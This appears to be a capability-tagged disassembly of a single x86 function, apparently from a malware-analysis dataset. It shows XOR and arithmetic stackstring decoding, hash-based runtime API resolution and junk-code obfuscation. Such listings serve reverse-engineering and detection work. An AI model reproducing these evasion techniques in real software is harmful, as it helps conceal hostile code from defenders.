Function at 0x41f994
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x11c
mov word [esp + 0x104], 0xada7
xor ecx, ecx
mov byte [esp + 0x106], 0xa1
mov al, byte [esp + ecx + 0x104]
sub al, 0x3a
mov byte [esp + ecx + 0x90], al
inc ecx
cmp ecx, 3
jl 0x41f9ae
mov byte [esp + 0x93], 0
xor ecx, ecx
mov dword [esp + 0x98], 0xb3b6aba9
mov word [esp + 0x9c], 0xbfae
mov byte [esp + 0x9e], 0xe9
mov al, byte [esp + ecx + 0x98]
xor al, 0xda
mov byte [esp + ecx + 0x80], al
inc ecx
cmp ecx, 7
jl 0x41f9eb
movzx eax, byte [0x42bbca]
xor eax, 0xc052000
mov byte [esp + 0x87], 0
and eax, 0x5c2d7092
add eax, 0xe9917270
cmp dword [0x42d248], 0
mov dword [0x42bbbc], eax
je 0x41fa3d
xor al, 0x15
and al, 0x95
mov byte [0x42bbca], al
mov al, 1
jmp 0x42036f
add eax, 0xb1dd6825
mov byte [esp + 0x10b], 0
mov dword [0x42bbbc], eax
lea edx, [esp + 0x80]
push ebx
and al, 0xe0
lea ecx, [esp + 0x94]
push esi
sub al, 0x3b
push edi
mov byte [0x42bbca], al
call fcn.0041d9c2
mov cl, byte [0x42bbca]
mov edi, eax
xor cl, 0x6d
add cl, 0x4a
mov byte [0x42bbca], cl
test edi, edi
je 0x41fd0b
movzx eax, cl
or eax, 0x2fd96781
mov dword [0x42bbbc], eax
lea eax, [esp + 0x94]
push eax
push edi
call fcn.00405b40
pop ecx
mov edx, eax
mov ecx, edi
call fcn.0040f780
mov dl, byte [0x42bbca]
mov ebx, eax
pop ecx
movzx ecx, dl
imul ecx, ecx, 0x288ae3a0
mov dword [esp + 0xa8], ebx
mov dword [0x42bbbc], ecx
test ebx, ebx
je 0x41fcf5
or dl, 0x30
movzx eax, dl
and eax, 0xa0f17cd6
mov byte [0x42bbca], dl
push 0x400
mov dword [0x42bbbc], eax
call fcn.0040570b
movzx edx, byte [0x42bbca]
mov esi, eax
xor edx, 0xb7a7b30c
pop ecx
movzx ecx, dl
imul ecx, ecx, 0x30
mov dword [0x42bbbc], edx
test esi, esi
je 0x41fcdf
or edx, 0xb026fb62
xor ecx, ecx
mov dword [0x42bbbc], edx
inc ecx
sub dl, 0x77
mov byte [0x42bbca], dl
mov edx, 0xd016cbb7
push esi
push 0x200
call fcn.004155a6
call eax
test eax, eax
je 0x41fcd9
mov dword [esp + 0x110], 0xd5d5dd97
xor ecx, ecx
mov al, byte [esp + ecx + 0x110]
xor al, 0xb9
movzx eax, al
mov word [esp + ecx*2 + 0x118], ax
inc ecx
cmp ecx, 4
jl 0x41fb59
xor eax, eax
mov word [esp + 0x120], ax
mov eax, dword [0x42bbbc]
or eax, 0x8d6af6f6
add eax, 0xa4344d0a
mov dword [0x42bbbc], eax
add al, 0x7e
push esi
mov byte [0x42bbca], al
call fcn.0040581e
mov ebx, dword [0x42bbbc]
pop ecx
mov dword [esp + 0x98], eax
movzx edx, word [esi + eax*2 - 2]
push 0x5c
pop eax
mov dword [esp + 0x110], edx
lea ecx, [ebx - 0x5b]
cmp word [esp + 0x110], ax
mov dl, cl
mov eax, dword [esp + 0x98]
je 0x41fc0c
cmp word [esp + 0x110], 0x2f
je 0x41fc0c
sub cl, 0x75
push 0x5c
and cl, 0xae
pop edx
mov word [esi + eax*2], dx
or cl, 8
movzx eax, cl
imul eax, eax, 0x61
movzx ebx, al
mov eax, dword [esp + 0x98]
add ebx, 0x77956fae
xor ecx, ecx
mov word [esi + eax*2 + 2], cx
lea edx, [ebx + 0x7a]
and dl, 0x1c
lea ecx, [esp + 0x34]
movzx eax, dl
or ebx, 0xbd7fe910
imul eax, eax, 0x5d
push 0x10
pop edx
mov dword [0x42bbbc], ebx
mov byte [0x42bbca], al
call fcn.0042254a
mov al, byte [0x42bbbc]
xor al, 0xc8
mov byte [0x42bbca], al
lea eax, [esp + 0x34]
push eax
push esi
call fcn.00405bcb
imul eax, dword [0x42bbbc], 0xcd73a7e1
mov dword [0x42bbbc], eax
or al, 0x10
mov byte [0x42bbca], al
lea eax, [esp + 0x120]
push eax
push esi
call fcn.00405bcb
movzx eax, byte [0x42bbca]
mov ecx, esi
push dword [esp + 0xa4]
mov ebx, dword [esp + 0xbc]
add eax, 0x248ef74a
mov dword [0x42bbbc], eax
mov edx, ebx
and al, 0xa5
mov byte [0x42bbca], al
call fcn.004226f6
add esp, 0x14
test al, al
je 0x41fcd9
mov cl, byte [0x42bbca]
or cl, 0xfa
mov byte [esp + 0x117], 1
movzx eax, cl
imul eax, eax, 0x2b2c875d
mov dword [0x42d244], esi
xor eax, 0x63010c14
or eax, 0x1cdee2ea
sub eax, 0x54607e35
mov dword [0x42bbbc], eax
jmp 0x41fcdf
mov cl, byte [0x42bbca]
xor cl, 0xf9
push ebx
mov byte [0x42bbca], cl
call fcn.004056f0
mov dl, byte [0x42bbca]
pop ecx
or dl, 9
push edi
mov byte [0x42bbca], dl
call fcn.004056f0
pop ecx
mov cl, byte [0x42bbca]
sub cl, 0x50
cmp byte [esp + 0x117], 0
mov byte [0x42bbca], cl
jne 0x41fd78
mov edx, dword [0x42d244]
movzx eax, cl
add eax, 0x368b3130
test edx, edx
je 0x41fd5b
add eax, 0x9985387f
and eax, 0xc505bc27
push edx
mov dword [0x42bbbc], eax
call fcn.004056f0
and dword [0x42d244], 0
mov eax, dword [0x42bbbc]
pop ecx
mov cl, byte [0x42bbca]
xor cl, 0x11
imul eax, eax, 0x47676200
mov dword [0x42bbbc], eax
movzx eax, cl
imul eax, eax, 0x38
mov byte [0x42bbca], al
xor al, al
jmp 0x42036c
push dword [0x42d244]
sub cl, 0xa
mov edx, 0xf6e264ab
and cl, 0x27
xor bl, bl
movzx eax, cl
mov byte [0x42bbca], cl
add eax, 0x7a4d3f9a
xor ecx, ecx
mov dword [0x42bbbc], eax
inc ecx
call fcn.004155a6
call eax
movzx ecx, byte [0x42bbca]
mov esi, eax
imul ecx, ecx, 0x31
mov dword [0x42d248], esi
movzx edx, cl
add edx, 0x41f690d
mov cl, dl
or cl, 0x68
mov byte [0x42bbca], cl
test esi, esi
je 0x4202fc
xor edx, edx
mov dword [esp + 0x118], 0x676a6f71
mov dword [esp + 0x11c], 0x5d316372
mov ecx, edx
mov dword [esp + 0x120], 0x6c636e6d
mov al, byte [esp + ecx + 0x118]
add al, 2
mov byte [esp + ecx + 0xa0], al
inc ecx
cmp ecx, 0xc
jl 0x41fdfb
mov byte [esp + 0xac], dl
mov ecx, edx
mov dword [esp + 0x100], 0x73767b7d
mov dword [esp + 0x104], 0x693d6f7e
mov dword [esp + 0x108], 0x786f7a79
mov word [esp + 0x10c], 0x8069
mov byte [esp + 0x10e], 0x3c
mov al, byte [esp + ecx + 0x100]
sub al, 0xa
mov byte [esp + ecx + 0x7c], al
inc ecx
cmp ecx, 0xf
jl 0x41fe4d
mov byte [esp + 0x8b], dl
mov ecx, edx
mov dword [esp + 0xec], 0x4043484a
mov dword [esp + 0xf0], 0x360a3c4b
mov dword [esp + 0xf4], 0x473c4947
mov dword [esp + 0xf8], 0x363c4938
mov word [esp + 0xfc], 0x94d
mov al, byte [esp + ecx + 0xec]
add al, 0x29
mov byte [esp + ecx + 0x54], al
inc ecx
cmp ecx, 0x12
jl 0x41fe9f
mov byte [esp + 0x66], dl
mov ecx, edx
mov dword [esp + 0x118], 0x1a1d2224
mov dword [esp + 0x11c], 0x10e41625
mov dword [esp + 0x120], 0x21162524
mov al, byte [esp + ecx + 0x118]
add al, 0x4f
mov byte [esp + ecx + 0xf0], al
inc ecx
cmp ecx, 0xc
jl 0x41fed9
mov byte [esp + 0xfc], dl
mov ecx, edx
mov dword [esp + 0xd8], 0xcbced3d5
mov dword [esp + 0xdc], 0xc195c7d6
mov dword [esp + 0xe0], 0xd7ced1c5
mov dword [esp + 0xe4], 0xd6c1d0cf
mov word [esp + 0xe8], 0xdac7
mov byte [esp + 0xea], 0xd6
mov al, byte [esp + ecx + 0xd8]
sub al, 0x62
mov byte [esp + ecx + 0x20], al
inc ecx
cmp ecx, 0x13
jl 0x41ff36
mov byte [esp + 0x33], dl
mov ecx, edx
mov dword [esp + 0xc4], 0xd2d7cac8
mov dword [esp + 0xc8], 0xe488decf
mov dword [esp + 0xcc], 0xced7d4d8
mov dword [esp + 0xd0], 0xd9e4d5d6
mov word [esp + 0xd4], 0xd4d7
mov byte [esp + 0xd6], 0xd9
mov al, byte [esp + ecx + 0xc4]
xor al, 0xbb
mov byte [esp + ecx + 0xc], al
inc ecx
cmp ecx, 0x13
jl 0x41ff8d
movaps xmm1, xmmword [0x428fa0]
mov ecx, edx
mov dword [esp + 0x100], 0x36393e40
mov dword [esp + 0x104], 0x2c003241
mov dword [esp + 0x108], 0x2e3b3633
mov dword [esp + 0x10c], 0x32473639
movups xmm0, xmmword [esp + 0x100]
mov byte [esp + 0x1f], dl
mov byte [esp + 0x78], dl
paddb xmm1, xmm0
mov dword [esp + 0x118], 0x2b2e3335
movups xmmword [esp + 0x68], xmm1
mov dword [esp + 0x11c], 0x21f52736
mov dword [esp + 0x120], 0x35312e25
mov byte [esp + 0x124], 0x27
mov al, byte [esp + ecx + 0x118]
add al, 0x3e
mov byte [esp + ecx + 0x100], al
inc ecx
cmp ecx, 0xd
jl 0x420017
mov byte [esp + 0x10d], dl
mov ecx, edx
mov dword [esp + 0xb0], 0x282b3032
mov dword [esp + 0xb4], 0x1ef22433
mov dword [esp + 0xb8], 0x342b2e22
mov dword [esp + 0xbc], 0x211e2d2c
mov dword [esp + 0xc0], 0x32243338
mov al, byte [esp + ecx + 0xb0]
add al, 0x41
mov byte [esp + ecx + 0x3c], al
inc ecx
cmp ecx, 0x14
jl 0x42006d
push 0x24
push edx
mov edi, 0x42c790
mov byte [esp + 0x58], dl
push edi
mov dword [0x42bbbc], 0x10c08063
call fcn.00403960
mov al, byte [0x42bbbc]
add esp, 0xc
xor al, 0x4b
xor ecx, ecx
mov byte [0x42bbca], al
mov esi, 0x779af737
lea eax, [esp + 0xa0]
mov edx, esi
push eax
push dword [0x42d248]
inc ecx
call fcn.004155a6
call eax
mov ecx, dword [0x42bbbc]
mov edx, esi
mov dword [0x42c790], eax
mov al, cl
sub al, 0x7d
or ecx, 0x4cd740d4
mov byte [0x42bbca], al
lea eax, [esp + 0x7c]
mov dword [0x42bbbc], ecx
xor ecx, ecx
push eax
push dword [0x42d248]
inc ecx
call fcn.004155a6
call eax
or byte [0x42bbca], 0x8c
xor ecx, ecx
mov dword [0x42c794], eax
mov edx, esi
lea eax, [esp + 0x54]
inc ecx
push eax
push dword [0x42d248]
call fcn.004155a6
call eax
mov dword [0x42c798], eax
xor ecx, ecx
mov al, byte [0x42bbca]
mov edx, esi
sub al, 0x58
inc ecx
movzx eax, al
xor eax, 0x4b8a266e
mov dword [0x42bbbc], eax
xor al, 0xe1
mov byte [0x42bbca], al
lea eax, [esp + 0xf0]
push eax
push dword [0x42d248]
call fcn.004155a6
call eax
mov dword [0x42c79c], eax
xor ecx, ecx
mov al, byte [0x42bbbc]
mov edx, esi
xor al, 0xfe
inc ecx
mov byte [0x42bbca], al
movzx eax, al
imul eax, eax, 0xe99e5a6d
mov dword [0x42bbbc], eax
lea eax, [esp + 0x20]
push eax
push dword [0x42d248]
call fcn.004155a6
call eax
mov dword [0x42c7a0], eax
movzx eax, byte [0x42bbca]
xor eax, 0xe5e63a01
mov dword [0x42bbbc], eax
lea eax, [esp + 0xc]
push eax
push dword [0x42d248]
xor ecx, ecx
mov edx, esi
inc ecx
call fcn.004155a6
call eax
mov cl, byte [0x42bbca]
mov edx, esi
mov dword [0x42c7a4], eax
movzx eax, cl
add cl, 0x47
and eax, 0x3ffc90f2
mov byte [0x42bbca], cl
mov dword [0x42bbbc], eax
xor ecx, ecx
lea eax, [esp + 0x68]
inc ecx
push eax
push dword [0x42d248]
call fcn.004155a6
call eax
mov dword [0x42c7a8], eax
xor ecx, ecx
mov eax, dword [0x42bbbc]
mov edx, esi
and eax, 0x11c179db
inc ecx
add eax, 0xbd3f54a
or eax, 0xb8efbbfb
mov dword [0x42bbbc], eax
lea eax, [esp + 0x100]
push eax
push dword [0x42d248]
call fcn.004155a6
call eax
mov dword [0x42c7ac], eax
xor ecx, ecx
movzx eax, byte [0x42bbca]
mov edx, esi
sub eax, 0x3daaa031
inc ecx
mov dword [0x42bbbc], eax
lea eax, [esp + 0x3c]
push eax
push dword [0x42d248]
call fcn.004155a6
call eax
mov cl, byte [0x42bbbc]
or cl, 0x40
mov dword [0x42c7b0], eax
movzx edx, cl
xor edx, 0x48e212e
cmp dword [0x42c790], 0
je 0x4202c8
cmp dword [0x42c798], 0
je 0x4202c8
cmp dword [0x42c79c], 0
je 0x4202c8
cmp dword [0x42c7a0], 0
je 0x4202c8
cmp dword [0x42c7a8], 0
je 0x4202c8
cmp dword [0x42c7ac], 0
je 0x4202c8
cmp dword [0x42c794], 0
je 0x4202c8
test eax, eax
je 0x4202c8
cmp dword [0x42c7a4], 0
je 0x4202c8
lea ecx, [edx - 0x22]
mov bl, 1
jmp 0x4202f6
push 0x24
or cl, 0x2f
and edx, 0x7425df6
push 0
push edi
mov byte [0x42bbca], cl
mov dword [0x42bbbc], edx
call fcn.00403960
mov edx, dword [0x42bbbc]
add esp, 0xc
mov cl, byte [0x42bbca]
mov esi, dword [0x42d248]
xor cl, 0x1c
and edx, 0x96ae2b58
mov al, cl
test bl, bl
jne 0x42034f
test esi, esi
je 0x42034f
and cl, 0x7b
mov edx, 0xaf12bdb1
sub cl, 0x47
and cl, 0xb2
xor cl, 0x28
movzx eax, cl
mov byte [0x42bbca], cl
sub eax, 0x5463d4df
xor ecx, ecx
mov dword [0x42bbbc], eax
push esi
inc ecx
call fcn.004155a6
call eax
mov edx, dword [0x42bbbc]
mov al, dl
and dword [0x42d248], 0
and al, 0xb2
movzx ecx, al
and edx, 0x57d4246b
imul ecx, ecx, 0x22
mov al, bl
mov dword [0x42bbbc], edx
add cl, 0x36
mov byte [0x42bbca], cl
pop edi
pop esi
pop ebx
add esp, 0x11c
ret